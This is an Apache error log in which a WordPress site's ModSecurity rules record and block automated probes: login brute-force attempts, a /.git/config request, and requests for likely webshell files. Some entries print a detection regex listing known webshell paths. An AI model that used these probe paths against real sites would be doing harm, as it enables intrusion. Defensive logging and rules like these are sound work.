[Thu Nov 13 04:10:23.916770 2025] [:error] [pid 7044:tid 7063] [client 92.205.20.105:57490] [client 92.205.20.105] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 92.205.20.105, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "aRTpr6JkvCEQaNp4Yht4NAAAAAk"]
[Thu Nov 13 04:21:13.084679 2025] [:error] [pid 51407:tid 51484] [client 148.66.159.158:56534] [client 148.66.159.158] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 148.66.159.158, incrementing brute counter"] [hostname "rcacivilgroup.com"] [uri "/wp-login.php"] [unique_id "aRTsOaKnD465ID-ycMKBKwAAAJM"]
[Thu Nov 13 04:21:17.654803 2025] [:error] [pid 51407:tid 51474] [client 148.66.159.158:56534] [client 148.66.159.158] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 148.66.159.158, incrementing brute counter"] [hostname "rcacivilgroup.com"] [uri "/wp-login.php"] [unique_id "aRTsPaKnD465ID-ycMKBQQAAAIk"], referer: https://rcacivilgroup.com/wp-login.php
[Thu Nov 13 04:28:28.269568 2025] [:error] [pid 51405:tid 51428] [client 45.153.34.41:39044] [client 45.153.34.41] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.git/" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "rcacivilgroup.com"] [uri "/.git/config"] [unique_id "aRTt7MgQcOoeDKJ17JeOUwAAABE"]
[Thu Nov 13 04:37:00.526054 2025] [:error] [pid 51406:tid 51443] [client 78.157.49.100:36802] [client 78.157.49.100] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 78.157.49.100, incrementing brute counter"] [hostname "rcacivilgroup.com"] [uri "/wp-login.php"] [unique_id "aRTv7HJ88_IXhWnPqG9d3QAAAEU"]
[Thu Nov 13 04:47:59.132170 2025] [:error] [pid 51405:tid 51413] [client 103.109.180.104:58696] [client 103.109.180.104] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 103.109.180.104, incrementing brute counter"] [hostname "rcacivilgroup.com"] [uri "/wp-login.php"] [unique_id "aRTyf8gQcOoeDKJ17JeXjgAAAAI"]
[Thu Nov 13 04:48:01.957964 2025] [:error] [pid 51405:tid 51421] [client 103.109.180.104:58696] [client 103.109.180.104] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 103.109.180.104, incrementing brute counter"] [hostname "rcacivilgroup.com"] [uri "/wp-login.php"] [unique_id "aRTygcgQcOoeDKJ17JeXkQAAAAo"], referer: https://rcacivilgroup.com/wp-login.php
[Thu Nov 13 05:12:30.450234 2025] [:error] [pid 51491:tid 51502] [client 65.108.146.214:41996] [client 65.108.146.214] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 65.108.146.214, incrementing brute counter"] [hostname "rcacivilgroup.com"] [uri "/wp-login.php"] [unique_id "aRT4PtQaME15TQuGVKQC8wAAAMY"]
[Thu Nov 13 05:15:31.977183 2025] [:error] [pid 51405:tid 51413] [client 89.252.164.140:35752] [client 89.252.164.140] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 89.252.164.140, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "aRT488gQcOoeDKJ17JejBAAAAAI"]
[Thu Nov 13 05:24:52.869894 2025] [:error] [pid 30162:tid 30176] [client 46.101.0.130:59528] [client 46.101.0.130] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 46.101.0.130, incrementing brute counter"] [hostname "rcacivilgroup.com"] [uri "/wp-login.php"] [unique_id "aRT7JJYPAuLETx2485WVBwAAAUw"]
[Thu Nov 13 05:24:58.502090 2025] [:error] [pid 30162:tid 30171] [client 46.101.0.130:59528] [client 46.101.0.130] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 46.101.0.130, incrementing brute counter"] [hostname "rcacivilgroup.com"] [uri "/wp-login.php"] [unique_id "aRT7KpYPAuLETx2485WVCQAAAUc"], referer: https://rcacivilgroup.com/wp-login.php
[Thu Nov 13 06:02:07.400325 2025] [:error] [pid 22566:tid 22584] [client 85.206.169.20:52554] [client 85.206.169.20] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 85.206.169.20, incrementing brute counter"] [hostname "rcacivilgroup.com"] [uri "/wp-login.php"] [unique_id "aRUD3zfdqWaUbu3e06-VsgAAARA"]
[Thu Nov 13 07:03:17.969075 2025] [:error] [pid 34451:tid 34455] [client 136.144.19.203:29551] [client 136.144.19.203] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "rcacivilgroup.com"] [uri "/txets.php"] [unique_id "aRUSNTRcD8KetQb4RaqeNQAAAUI"]
[Thu Nov 13 07:03:18.448713 2025] [:error] [pid 34451:tid 34477] [client 193.36.224.16:26151] [client 193.36.224.16] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "rcacivilgroup.com"] [uri "/wp-content/txets.php"] [unique_id "aRUSNjRcD8KetQb4RaqePQAAAVg"]
[Thu Nov 13 07:03:18.927440 2025] [:error] [pid 22307:tid 22325] [client 104.234.19.21:22109] [client 104.234.19.21] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "rcacivilgroup.com"] [uri "/wp-admin/txets.php"] [unique_id "aRUSNqr7fLMQQanZ_9yYHQAAANA"]
[Thu Nov 13 07:09:51.362338 2025] [:error] [pid 22566:tid 22579] [client 173.239.211.72:36815] [client 173.239.211.72] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "www.rcacivilgroup.com"] [uri "/wp-includes/ID3/index.php"] [unique_id "aRUTvzfdqWaUbu3e06-uswAAAQs"]
[Thu Nov 13 07:09:54.963035 2025] [:error] [pid 22566:tid 22568] [client 173.239.211.72:25747] [client 173.239.211.72] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "www.rcacivilgroup.com"] [uri "/wp-includes/bk/index.php"] [unique_id "aRUTwjfdqWaUbu3e06-utQAAAQA"]
[Thu Nov 13 07:10:06.788835 2025] [:error] [pid 22223:tid 22264] [client 63.135.161.134:48773] [client 63.135.161.134] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "www.rcacivilgroup.com"] [uri "/wp-includes/theme-compat/chosen.php"] [unique_id "aRUTzt6it_tNBGH9EAEyTAAAAEs"]
[Thu Nov 13 07:10:11.988242 2025] [:error] [pid 22224:tid 22285] [client 63.135.161.156:20785] [client 63.135.161.156] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "www.rcacivilgroup.com"] [uri "/wp-includes/IXR/chosen.php"] [unique_id "aRUT07uEVuTj3a_UBfAdXAAAAIU"]
[Thu Nov 13 07:10:13.023623 2025] [:error] [pid 22224:tid 22294] [client 63.135.161.152:29217] [client 63.135.161.152] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "www.rcacivilgroup.com"] [uri "/wp-includes/js/chosen.php"] [unique_id "aRUT1buEVuTj3a_UBfAdXQAAAI4"]
[Thu Nov 13 07:10:14.027613 2025] [:error] [pid 22222:tid 22247] [client 63.135.161.140:62279] [client 63.135.161.140] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "www.rcacivilgroup.com"] [uri "/wp-includes/pomo/wp-conflg.php"] [unique_id "aRUT1jL-5qXvQuZkA4G9vwAAABU"]
[Thu Nov 13 07:10:17.218743 2025] [:error] [pid 34451:tid 34455] [client 173.239.211.61:63679] [client 173.239.211.61] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "www.rcacivilgroup.com"] [uri "/wp-includes/certificates/chosen.php"] [unique_id "aRUT2TRcD8KetQb4RaqgUwAAAUI"]
[Thu Nov 13 07:10:20.234741 2025] [:error] [pid 34451:tid 34454] [client 63.135.161.132:63289] [client 63.135.161.132] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "www.rcacivilgroup.com"] [uri "/wp-includes/Requests/Auth/index.php"] [unique_id "aRUT3DRcD8KetQb4RaqgVwAAAUE"]
[Thu Nov 13 07:10:29.904768 2025] [:error] [pid 22307:tid 22327] [client 63.135.161.132:49637] [client 63.135.161.132] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "www.rcacivilgroup.com"] [uri "/wp-includes/style-engine/wp-conflg.php"] [unique_id "aRUT5ar7fLMQQanZ_9yZzAAAANI"]
[Thu Nov 13 07:10:30.896255 2025] [:error] [pid 22307:tid 22312] [client 63.135.161.138:47193] [client 63.135.161.138] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "www.rcacivilgroup.com"] [uri "/wp-includes/ID3/wp-conflg.php"] [unique_id "aRUT5qr7fLMQQanZ_9yZzgAAAMM"]
[Thu Nov 13 07:11:26.767131 2025] [:error] [pid 22307:tid 22329] [client 63.135.161.153:24099] [client 63.135.161.153] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 63.135.161.153, incrementing brute counter"] [hostname "www.rcacivilgroup.com"] [uri "/wp-login.php"] [unique_id "aRUUHqr7fLMQQanZ_9yaSQAAANQ"]
[Thu Nov 13 07:11:32.763270 2025] [:error] [pid 22307:tid 22321] [client 63.135.161.153:24099] [client 63.135.161.153] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "www.rcacivilgroup.com"] [uri "/wp-includes/css/modules.php"] [unique_id "aRUUJKr7fLMQQanZ_9yaUgAAAMw"]
[Thu Nov 13 07:11:50.498906 2025] [:error] [pid 34451:tid 34455] [client 63.135.161.152:37565] [client 63.135.161.152] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "www.rcacivilgroup.com"] [uri "/wp-includes/codeboy1877_up.php"] [unique_id "aRUUNjRcD8KetQb4RaqgowAAAUI"]
[Thu Nov 13 07:12:37.158488 2025] [:error] [pid 22222:tid 22246] [client 63.135.161.153:35045] [client 63.135.161.153] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "www.rcacivilgroup.com"] [uri "/wp-includes/lx.php"] [unique_id "aRUUZTL-5qXvQuZkA4G-PwAAABQ"]
[Thu Nov 13 07:13:57.381519 2025] [:error] [pid 22566:tid 22569] [client 173.239.211.72:23119] [client 173.239.211.72] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "www.rcacivilgroup.com"] [uri "/wp-includes/css/F0x.php"] [unique_id "aRUUtTfdqWaUbu3e06-wEgAAAQE"]
[Thu Nov 13 07:14:38.499098 2025] [:error] [pid 22307:tid 22325] [client 173.239.211.76:22313] [client 173.239.211.76] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "www.rcacivilgroup.com"] [uri "/wp-includes/IXR/index.php"] [unique_id "aRUU3qr7fLMQQanZ_9yazwAAANA"]
[Thu Nov 13 07:14:39.395564 2025] [:error] [pid 34451:tid 34472] [client 63.135.161.140:49025] [client 63.135.161.140] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 63.135.161.140, incrementing ddos counter"] [hostname "www.rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "aRUU3zRcD8KetQb4RaqhWAAAAVM"]
[Thu Nov 13 07:14:44.151816 2025] [:error] [pid 34451:tid 34453] [client 63.135.161.140:49025] [client 63.135.161.140] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/(?:tinyfilemanager(?:\\\\.php)?|filemanager\\\\.php|fm\\\\.php|tiny\\\\.php|wp-content/plugins/pwnd/pwnd\\\\.php|wp-includes/(?:block-supports/autoload_classmap\\\\.php|Text/Diff/Engine/wp\\\\.php|blocks/details/about\\\\.php))$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "29"] [id "771002"] [msg "Blocked probe for known bad path/file manager/webshell"] [tag "probes"] [tag "wordpress"] [hostname "www.rcacivilgroup.com"] [uri "/wp-content/plugins/pwnd/pwnd.php"] [unique_id "aRUU5DRcD8KetQb4RaqhYAAAAUA"]
[Thu Nov 13 07:14:57.996131 2025] [:error] [pid 22307:tid 22330] [client 173.239.211.62:63139] [client 173.239.211.62] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "www.rcacivilgroup.com"] [uri "/wp-includes/Requests/about.php"] [unique_id "aRUU8ar7fLMQQanZ_9ya4gAAANU"]
[Thu Nov 13 07:15:30.292908 2025] [:error] [pid 22222:tid 22230] [client 173.239.211.59:34299] [client 173.239.211.59] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "www.rcacivilgroup.com"] [uri "/wp-includes/css/index.php"] [unique_id "aRUVEjL-5qXvQuZkA4G-rQAAAAQ"]
[Thu Nov 13 07:15:31.302039 2025] [:error] [pid 34451:tid 34463] [client 63.135.161.130:61127] [client 63.135.161.130] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "www.rcacivilgroup.com"] [uri "/wp-includes/fonts/index.php"] [unique_id "aRUVEzRcD8KetQb4RaqhkwAAAUo"]
[Thu Nov 13 07:15:32.280760 2025] [:error] [pid 22307:tid 22315] [client 63.135.161.152:33067] [client 63.135.161.152] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "www.rcacivilgroup.com"] [uri "/wp-includes/Text/about.php"] [unique_id "aRUVFKr7fLMQQanZ_9ybBwAAAMY"]
[Thu Nov 13 07:15:33.239773 2025] [:error] [pid 22224:tid 22280] [client 63.135.161.133:33037] [client 63.135.161.133] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "www.rcacivilgroup.com"] [uri "/wp-includes/css/about.php"] [unique_id "aRUVFbuEVuTj3a_UBfAd9QAAAIA"]
[Thu Nov 13 07:15:39.204776 2025] [:error] [pid 22222:tid 22240] [client 63.135.161.153:39239] [client 63.135.161.153] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 63.135.161.153, incrementing brute counter"] [hostname "www.rcacivilgroup.com"] [uri "/wp-admin/images/wp-login.php"] [unique_id "aRUVGzL-5qXvQuZkA4G-swAAAA4"]
[Thu Nov 13 07:15:58.462828 2025] [:error] [pid 22222:tid 22249] [client 63.135.161.153:39239] [client 63.135.161.153] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "www.rcacivilgroup.com"] [uri "/wp-includes/blocks/about.php"] [unique_id "aRUVLjL-5qXvQuZkA4G-xgAAABc"]
[Thu Nov 13 07:16:04.636838 2025] [:error] [pid 34451:tid 34458] [client 63.135.161.146:31793] [client 63.135.161.146] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 63.135.161.146, incrementing brute counter"] [hostname "www.rcacivilgroup.com"] [uri "/wp-admin/css/wp-login.php"] [unique_id "aRUVNDRcD8KetQb4RaqhvgAAAUU"]
[Thu Nov 13 07:16:15.107256 2025] [:error] [pid 34451:tid 34477] [client 63.135.161.146:31793] [client 63.135.161.146] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "www.rcacivilgroup.com"] [uri "/wp-includes/makeasmtp.php"] [unique_id "aRUVPzRcD8KetQb4RaqhzAAAAVg"]
[Thu Nov 13 07:16:16.052063 2025] [:error] [pid 22222:tid 22230] [client 63.135.161.139:37193] [client 63.135.161.139] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "www.rcacivilgroup.com"] [uri "/wp-includes/about.php"] [unique_id "aRUVQDL-5qXvQuZkA4G-0wAAAAQ"]
[Thu Nov 13 07:16:20.601616 2025] [proxy_fcgi:error] [pid 22224:tid 22300] [client 63.135.161.136:40737] AH01071: Got error 'Primary script unknown'
[Thu Nov 13 07:16:29.399327 2025] [proxy_fcgi:error] [pid 22224:tid 22290] [client 63.135.161.136:40737] AH01071: Got error 'Primary script unknown'
[Thu Nov 13 07:16:46.046381 2025] [:error] [pid 22224:tid 22280] [client 63.135.161.136:40737] [client 63.135.161.136] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "www.rcacivilgroup.com"] [uri "/wp-includes/SimplePie/index.php"] [unique_id "aRUVXruEVuTj3a_UBfAeQwAAAIA"]
[Thu Nov 13 07:16:52.852499 2025] [:error] [pid 34451:tid 34453] [client 63.135.161.138:43577] [client 63.135.161.138] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "www.rcacivilgroup.com"] [uri "/wp-includes/bak.php"] [unique_id "aRUVZDRcD8KetQb4Raqh_QAAAUA"]
[Thu Nov 13 07:16:56.063166 2025] [:error] [pid 22223:tid 22261] [client 63.135.161.146:54847] [client 63.135.161.146] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "www.rcacivilgroup.com"] [uri "/wp-includes/images/wp-login.php"] [unique_id "aRUVaN6it_tNBGH9EAEzvwAAAEg"]
[Thu Nov 13 07:17:08.389945 2025] [:error] [pid 22224:tid 22301] [client 63.135.161.136:46827] [client 63.135.161.136] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/(?:tinyfilemanager(?:\\\\.php)?|filemanager\\\\.php|fm\\\\.php|tiny\\\\.php|wp-content/plugins/pwnd/pwnd\\\\.php|wp-includes/(?:block-supports/autoload_classmap\\\\.php|Text/Diff/Engine/wp\\\\.php|blocks/details/about\\\\.php))$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "29"] [id "771002"] [msg "Blocked probe for known bad path/file manager/webshell"] [tag "probes"] [tag "wordpress"] [hostname "www.rcacivilgroup.com"] [uri "/fm.php"] [unique_id "aRUVdLuEVuTj3a_UBfAeUQAAAJU"]
[Thu Nov 13 07:17:09.358245 2025] [:error] [pid 22223:tid 22277] [client 63.135.161.130:25329] [client 63.135.161.130] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "www.rcacivilgroup.com"] [uri "/wp-includes/customize/index.php"] [unique_id "aRUVdd6it_tNBGH9EAEzwwAAAFg"]
[Thu Nov 13 07:17:10.493807 2025] [:error] [pid 22224:tid 22283] [client 173.239.211.59:20675] [client 173.239.211.59] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 173.239.211.59, incrementing brute counter"] [hostname "www.rcacivilgroup.com"] [uri "/wp-content/upgrade-temp-backup/wp-login.php"] [unique_id "aRUVdruEVuTj3a_UBfAeUgAAAIM"]
[Thu Nov 13 07:17:16.088873 2025] [:error] [pid 22224:tid 22282] [client 173.239.211.59:20675] [client 173.239.211.59] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "www.rcacivilgroup.com"] [uri "/wp-includes/themes.php"] [unique_id "aRUVfLuEVuTj3a_UBfAeVgAAAII"]
[Thu Nov 13 07:17:25.117592 2025] [autoindex:error] [pid 22222:tid 22238] [client 173.239.211.62:33829] AH01276: Cannot serve directory /home/rcacivils/public_html/wp-admin/css/colors/blue/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Thu Nov 13 07:17:26.794398 2025] [:error] [pid 22222:tid 22233] [client 173.239.211.62:33829] [client 173.239.211.62] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "www.rcacivilgroup.com"] [uri "/wp-includes/wp-includes_function.php"] [unique_id "aRUVhjL-5qXvQuZkA4G_FQAAAAc"]
